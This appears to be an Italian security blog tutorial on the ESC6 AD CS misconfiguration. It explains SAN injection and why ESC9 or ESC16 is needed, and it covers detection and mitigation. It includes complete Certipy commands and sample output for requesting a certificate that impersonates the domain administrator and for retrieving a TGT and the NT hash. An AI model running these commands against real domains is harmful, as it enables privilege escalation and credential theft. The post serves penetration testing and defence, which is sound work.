ESC6 AD CS: SAN Injection con Certipy e Privilege Escalation

PrivEsc ESC6 in AD CS con Certipy: verifica EDITF_ATTRIBUTESUBJECTALTNAME2, SAN injection e differenze tra ESC9 ed ESC16, con controlli e mitigazioni pratiche.
- Pubblicato il 2026-03-07
- Tempo di lettura: 7 min
ESC6 in Active Directory Certificate Services: SAN Injection a livello di Certificate Authority #
ESC6 è una tecnica di Active Directory Privilege Escalation tramite AD CS che non colpisce un singolo certificate template come ESC1, ma la Certificate Authority stessa. Quando la CA ha il flag EDITF_ATTRIBUTESUBJECTALTNAME2 attivo, qualunque richiedente può specificare un Subject Alternative Name (SAN) arbitrario tramite gli attributi della richiesta — un override che si applica a tutti i template pubblicati, anche a quelli che normalmente non permetterebbero al richiedente di fornire il subject (Enrollee Supplies Subject disabilitato).
Il punto che vale la pena chiarire subito, perché cambia l’intero approccio offensivo: su un Domain Controller con mapping forte attivo, ESC6 da solo di norma non basta. Serve capire esattamente perché, e cosa lo rende di nuovo sfruttabile — è lì che sta la parte tecnica interessante di questa tecnica.
Perché ESC6 standalone normalmente fallisce (e quando no) #
Quando richiedi un certificato con un SID iniettato nel SAN, Certipy lo inserisce nel formato URL specifico:
URL=tag:microsoft.com,2022-09-14:sid:<SID>Ma se il template emette anche la Security Extension nativa (szOID_NTDS_CA_SECURITY_EXT, OID 1.3.6.1.4.1.311.25.2 — quella generata automaticamente dalla CA con il SID di chi ha effettivamente richiesto il certificato, non quello che hai iniettato), succede questo — verificato direttamente nel codice di Certipy:
[!] Conflicting SIDs found in certificate:
[!] SAN URL: 'S-1-5-21-...-500'
[!] Security Extension: 'S-1-5-21-...-1106'
[!] Windows will use the security extension SID for authentication purposesLa logica è netta: la Security Extension vince sempre sul SID nel SAN URL quando entrambe sono presenti. Il tuo SID reale (quello dell’account attaccante) resta nella Security Extension perché è la CA stessa a generarlo al momento dell’emissione — tu puoi controllare cosa scrivi nel SAN, non puoi impedire alla CA di inserire la tua vera identità nell’altra estensione, a meno che quell’estensione non venga omessa a monte.
Questo è esattamente il motivo per cui ESC6 da solo serve a poco su un template “normale”: devi eliminare la Security Extension dall’equazione. Ci sono due modi distinti per farlo, e sono scenari tecnicamente diversi che vale la pena trattare separatamente invece di appiattirli in un “ESC6 + ESC9/ESC16” generico.
I tre scenari, separati #
| Scenario | Stato della Security Extension | Cosa serve in più oltre a EDITF_ATTRIBUTESUBJECTALTNAME2 |
|---|---|---|
| ESC6 standalone | Presente, con il SID di chi richiede davvero il certificato | Nulla — ma normalmente fallisce in autenticazione per il motivo sopra |
| ESC6 + ESC9 | Omessa a livello di singolo template (CT_FLAG_NO_SECURITY_EXTENSION) | Un template specifico con questo flag, pubblicato sulla stessa CA, con diritti di enrollment per te |
| ESC6 + ESC16 | Omessa a livello di CA, su tutti i certificati emessi | Qualunque template enrollabile adatto all’autenticazione — non serve che sia specificamente ESC9 |
La distinzione pratica per chi attacca: con ESC9 devi trovare quel template specifico già misconfigurato; con ESC16 la CA stessa ha già tolto la Security Extension da tutto, quindi hai più scelta su quale template abusare. Verifica sempre qual è il caso reale prima di scegliere il comando — “funziona con ESC9 o ESC16” non è intercambiabile sul piano operativo.
Quando ESC6 è sfruttabile: checklist #
- Il flag
EDITF_ATTRIBUTESUBJECTALTNAME2è attivo sulla CA. - Esiste almeno un template enrollabile dal tuo account con un’EKU che abilita l’autenticazione (es. Client Authentication).
- Quel template è pubblicato sulla CA che presenta il flag (non su un’altra CA dell’ambiente).
- E una delle due condizioni che eliminano la Security Extension: quel template specifico ha
CT_FLAG_NO_SECURITY_EXTENSION(ESC9), oppure la CA stessa omette la Security Extension su tutti i certificati (ESC16).
User Enrollable Principals o Request Disposition: Issue nell’output di Certipy non confermano da soli che questa catena sia completa — dicono solo qualcosa sulla CA o sul template preso singolarmente, non sulla combinazione.
Identificazione con Certipy #
certipy find -u 'user@corp.local' -p 'Password123' -dc-ip 10.0.0.100 -vulnerable -enabled -stdoutOutput tipico sulla CA:
Certificate Authorities
CA Name : CORP-CA
DNS Name : CA.CORP.LOCAL
User Specified SAN : Enabled
Request Disposition : Issue
[+] User Enrollable Principals : CORP.LOCAL\Authenticated Users
[!] Vulnerabilities
ESC6 : Enrollee can specify SAN.| Campo | Interpretazione |
|---|---|
User Specified SAN : Enabled | Il flag EDITF_ATTRIBUTESUBJECTALTNAME2 è attivo — condizione necessaria, non sufficiente |
ESC6 : Enrollee can specify SAN | Certipy ha rilevato la configurazione a livello di CA |
Request Disposition : Issue | Comportamento di emissione della CA — non sostituisce la verifica dei permessi sul template che intendi usare |
User Enrollable Principals | Chi può fare enrollment sulla CA in generale — verifica comunque i permessi specifici sul template target |
Verifica anche manualmente sulla CA, se hai accesso:
certutil -getreg policy\EditFlagsE, separatamente, controlla con certipy find lo stesso template per lo stato Schema Version, Enrollee Supplies Subject e il flag CT_FLAG_NO_SECURITY_EXTENSION (indicatore ESC9) — non dare per scontato che il primo template enrollabile che trovi sia quello giusto.
Exploitation — ESC6 + ESC9 #
Qui usi un template specifico che già omette la Security Extension.
Step 1 — Richiedi il certificato con SAN iniettato
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'ESC9' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'-template 'ESC9' qui è il nome del template nel tuo ambiente di laboratorio — non una modalità speciale di Certipy. Nel mondo reale userai il nome del template che hai verificato avere CT_FLAG_NO_SECURITY_EXTENSION.
[*] Requesting certificate via RPC
[*] Request ID is 1
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-...-500'
[*] Saving certificate and private key to 'administrator.pfx'Certificate object SID is ... non è di per sé la prova che la Security Extension sia assente — è semplicemente il SID che Certipy è riuscito a estrarre dal certificato (SAN URL o Security Extension, qualunque sia disponibile). La vera verifica va fatta sul certificato stesso.
Step 2 — Verifica il certificato prima di autenticarti
openssl pkcs12 -in administrator.pfx -nodes -nokeys -out cert.pem
openssl x509 -in cert.pem -text -noout | grep -A2 "1.3.6.1.4.1.311.25.2"Se l’OID della Security Extension non compare, la rimozione (via ESC9 sul template) ha funzionato come previsto.
Step 3 — Autenticazione
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'[*] Certificate identities:
[*] SAN UPN: 'administrator@corp.local'
[*] SAN URL SID: 'S-1-5-21-...-500'
[*] Trying to get TGT...
[*] Got TGT
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@corp.local'Exploitation — ESC6 + ESC16 #
Stessa logica di comando, ma qui qualunque template enrollabile e adatto all’autenticazione può funzionare, perché è la CA a non emettere la Security Extension su nulla — non serve cercare un template con CT_FLAG_NO_SECURITY_EXTENSION specifico:
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'Verifica e autenticazione sono identiche al percorso ESC6+ESC9. Per i dettagli specifici di come identificare ESC16 (il registro DisableExtensionList della CA) vedi la guida dedicata.
Cosa dimostra ogni risultato — non fermarti al certificato emesso #
| Risultato | Cosa confirma | Cosa NON confirma |
|---|---|---|
| Certificato emesso con SAN UPN/SID corretti | La SAN injection ha funzionato lato richiesta | Che la Security Extension sia assente — verificalo separatamente |
| Security Extension assente nel certificato (verifica OpenSSL) | ESC9/ESC16 è davvero in gioco su quel template/CA | Che il KDC accetterà comunque il certificato — dipende anche dal mapping configurato |
Got TGT | L’autenticazione Kerberos è riuscita per quel principal | Che l’hash NT sia stato recuperato — è un’operazione distinta |
Got NT hash | È stata recuperata quella specifica informazione | Accesso a ogni sistema del dominio — dipende dai privilegi reali dell’account impersonato |
Conflicting SIDs found + autenticazione rifiutata | Il template emette ancora la Security Extension — ESC6 standalone, non sei in ESC9/ESC16 | — |
Troubleshooting #
| Sintomo | Causa probabile | Verifica |
|---|---|---|
| Certipy non rileva ESC6 | EditFlags diverso da quanto previsto, CA sbagliata interrogata, versione del tool | Valore reale di EditFlags, CA effettivamente target, versione Certipy |
| ESC6 rilevato ma nessun template utilizzabile | Nessun template con EKU di autenticazione enrollabile dal tuo account | Diritti Enroll effettivi, EKU del template, pubblicazione sulla CA giusta |
Certificato emesso, ma Conflicting SIDs found + autenticazione rifiutata | Sei in ESC6 standalone: la Security Extension è ancora presente | Verifica se esiste un template ESC9 o se la CA ha ESC16 — senza uno dei due, questo percorso non basta |
-template 'ESC9' nel comando non esiste nel tuo ambiente | Quel nome era specifico del laboratorio di esempio | Usa certipy find per trovare il template reale con CT_FLAG_NO_SECURITY_EXTENSION |
| SAN URL SID assente dall’output | Richiesta non andata come previsto, o versione Certipy differente | Rileggi il certificato con OpenSSL/certutil direttamente, non fidarti solo del riepilogo |
| TGT ottenuto ma NT hash no | Sono due operazioni distinte (la seconda richiede un passo aggiuntivo) | Non trattarlo come fallimento della catena |
Detection #
| Evento/controllo | Significato |
|---|---|
Registro CA (EditFlags) | Presenza di EDITF_ATTRIBUTESUBJECTALTNAME2 — misconfigurazione persistente da auditare periodicamente |
| 4886 | Richiesta di certificato ricevuta |
| 4887 | Certificato emesso |
| 4888 | Richiesta negata |
| 4889 | Richiesta messa in sospeso |
| Modifiche alla configurazione della CA (eventi di proprietà/registro) | Chi ha abilitato il flag e quando — spesso la traccia più utile, perché il flag da solo non genera eventi di “abuso” distinti dall’uso legittimo |
Richiede auditing configurato sia sul filtro della CA sia tramite Advanced Audit Policy di Windows — l’ID evento da solo non garantisce che il segnale sia raccolto. Correla sempre: richiedente, template usato, SAN della richiesta e, quando disponibile, se il certificato emesso ha prodotto un’autenticazione successiva anomala.
Mitigation #
- Disabilita il flag sulla CA (la correzione primaria):
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc
net start certsvc- Verifica che la disabilitazione sia effettiva e riguardi la CA giusta — rileggi il registro dopo il riavvio del servizio, non fidarti solo dell’assenza di errori nel comando.
- Disabilitare il flag non invalida i certificati già emessi con quella configurazione: identifica, se possibile, quali certificati sono stati emessi nella finestra vulnerabile e valuta la revoca.
- Limita l’enrollment sui template con EKU di autenticazione, specialmente quelli pubblicati sulla stessa CA.
- Mantieni CA e Domain Controller aggiornati: la raccomandazione storica di impostare manualmente
StrongCertificateBindingEnforcement = 2non è più l’intervento operativo corretto — dal 9 settembre 2025 quella chiave non è più supportata come meccanismo sui DC aggiornati. Il comportamento di mapping corrente va verificato sulla configurazione effettiva, non deciso impostando quel valore a mano. - Chiudi anche ESC9/ESC16 separatamente: disabilitare solo il flag su questa CA non risolve un template con
CT_FLAG_NO_SECURITY_EXTENSIONo una CA diversa con la Security Extension disabilitata globalmente — sono misconfigurazioni indipendenti.
FAQ #
Cos’è ESC6?
Una misconfigurazione a livello di Certificate Authority (EDITF_ATTRIBUTESUBJECTALTNAME2) che permette a chiunque possa fare enrollment di specificare un SAN arbitrario tramite gli attributi della richiesta, anche su template che non lo consentirebbero singolarmente.
ESC6 funziona da solo? Normalmente no, se il certificato emesso contiene ancora la Security Extension nativa — questa prevale sempre sul SID che inietti nel SAN. Serve combinarlo con ESC9 (template specifico senza Security Extension) o ESC16 (CA che la omette globalmente).
Qual è la differenza tra SAN URL SID e Security Extension SID?
Sono due estensioni diverse del certificato. Il SAN URL SID è quello che tu, come richiedente, inserisci nel SAN (formato tag:microsoft.com,2022-09-14:sid:...). La Security Extension è generata dalla CA con il SID di chi ha realmente richiesto il certificato. Quando entrambe sono presenti e diverse, vince la Security Extension — è quello il motivo per cui ESC6 standalone fallisce.
Qual è la differenza tra ESC6 ed ESC1? ESC1 è una misconfigurazione del template (Enrollee Supplies Subject + EKU permissive + enrollment aperto). ESC6 è una misconfigurazione della CA, che si applica potenzialmente a tutti i template pubblicati — ma da sola, contro un template che emette ancora la Security Extension, non basta per impersonare un altro account.
Guida completa a tutte le tecniche ESC1–ESC16: AD CS Privilege Escalation con Certipy. Tecniche correlate: ESC7, ESC8.
Fonti tecniche: Certipy — Privilege Escalation Wiki, Microsoft Support — KB5014754.








